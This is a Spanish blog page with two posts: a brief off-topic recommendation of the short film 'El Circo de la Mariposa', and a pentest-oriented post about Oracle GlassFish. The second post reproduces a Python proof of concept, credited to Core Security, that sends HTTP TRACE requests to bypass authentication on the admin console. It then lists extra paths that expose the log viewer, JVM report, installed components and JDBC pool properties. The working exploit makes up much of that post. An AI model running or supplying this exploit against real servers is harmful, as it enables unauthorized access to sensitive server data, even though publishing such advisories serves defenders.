http:// www.apache.org
http://www.php.net

(off topic) El unico limite es nuestra imaginación

2011-05-26T15:45:00.001-03:00

El titulo de este post corresponde a una frase que me gusta repetir con frecuencia, y un cortometraje que suelo ver con frecuencia es "El Circo de la Mariposa", (una de esas películas que uno nunca se cansa de ver).

Este cortometraje gano el primer premio en el concurso “The Doorpost Film Project” y en ella actúa Nick Vujcic, un groso de verdad, el dice haber llevado su "vida sin miembros a una vida sin limites", no lo conocen? pues vean el corto y sabran de lo que les hablo :)

aquí le dejo la primera parte..

y la segunda ..

Oracle GlassFish - obtener informacion sin credenciales

2011-05-17T22:02:00.001-03:00

La primer fase de un pentest, o hacking ético (o porque no, un ataque en sí), es la recopilación de información y la enumeración, aquí se trata de "conocer" al sistema a testear, similar al desarrollo de sistemas, tiene su ciclo de vida y el atacante intentara obtener cada vez más información sobre su objetivo, al principio (y por lo general) realizará la enumeración con mínimos privilegios, o sin credenciales, y a medida que vaya progresando la información obtenida sera mas critica

Para obtener ciertos datos sensibles de un sistema, en este caso GlassFish, no es necesario tener credenciales, y se puede hacer remotamente, tal como lo demuestran los investigadores de CoreSecurity en el PoC que dejo mas abajo..

#Usage: $ python poc.py <GlassFish_IP> <Administration_Port>
#E.g:     $ python poc.py 192.168.0.1 4848
import sys
import httplib
def make_trace_request(host, port, selector):
    print '[*] TRACE request: %s' % selector
    headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',
                'Host': '%s:%s' % (host, port),
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-us,en;q=0.5',
                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Accept-Encoding': 'gzip,deflate',
                'Connection': 'close',
                'Referer': 'http://%s:%s%s' % (host, port, selector)}

    conn = httplib.HTTPConnection(host, port)
    conn.request('TRACE', selector, headers=headers)
    response = conn.getresponse()
    conn.close()
    print response.status, response.reason
    print response.getheaders()
    print response.read()
if len(sys.argv) != 3:
    print "Usage: $ python poc.py <GlassFish_IP> <GlassFish_Administration_Port>\nE.g:   $ python poc.py 192.168.0.1 4848"
    sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, '/common/logViewer/logViewer.jsf')

Básicamente, este código en python, realiza una petición mediante el método TRACE, al servidor de GlassFish (por defecto se encuentra escuchando el puerto 4848), y obtiene acceso a contenidos "protegidos", así de simple, sencillo y bonito :)

También podríamos bypasear para obtener información, sobre la maquina virutal (JVM) instalada en el servidor, componentes instalados, conecciones JDBC (entre otras cosas); para esto solo debemos cambiar el tercer parámetro de la función make_trace_request(host, port, '/common/logViewer/logViewer.jsf') por:

make_trace_request(host, port, '/common/appServer/jvmReport.jsf')
o
make_trace_request(host, port, '/updateCenter/installed.jsf')
o
make_trace_request(host, port, '/jdbc/jdbcConnectionPoolProperty.jsf?name=DerbyPool')

Para mas información:

http://www.coresecurity.com/content/oracle-glassfish-server-administration-console-authentication-bypass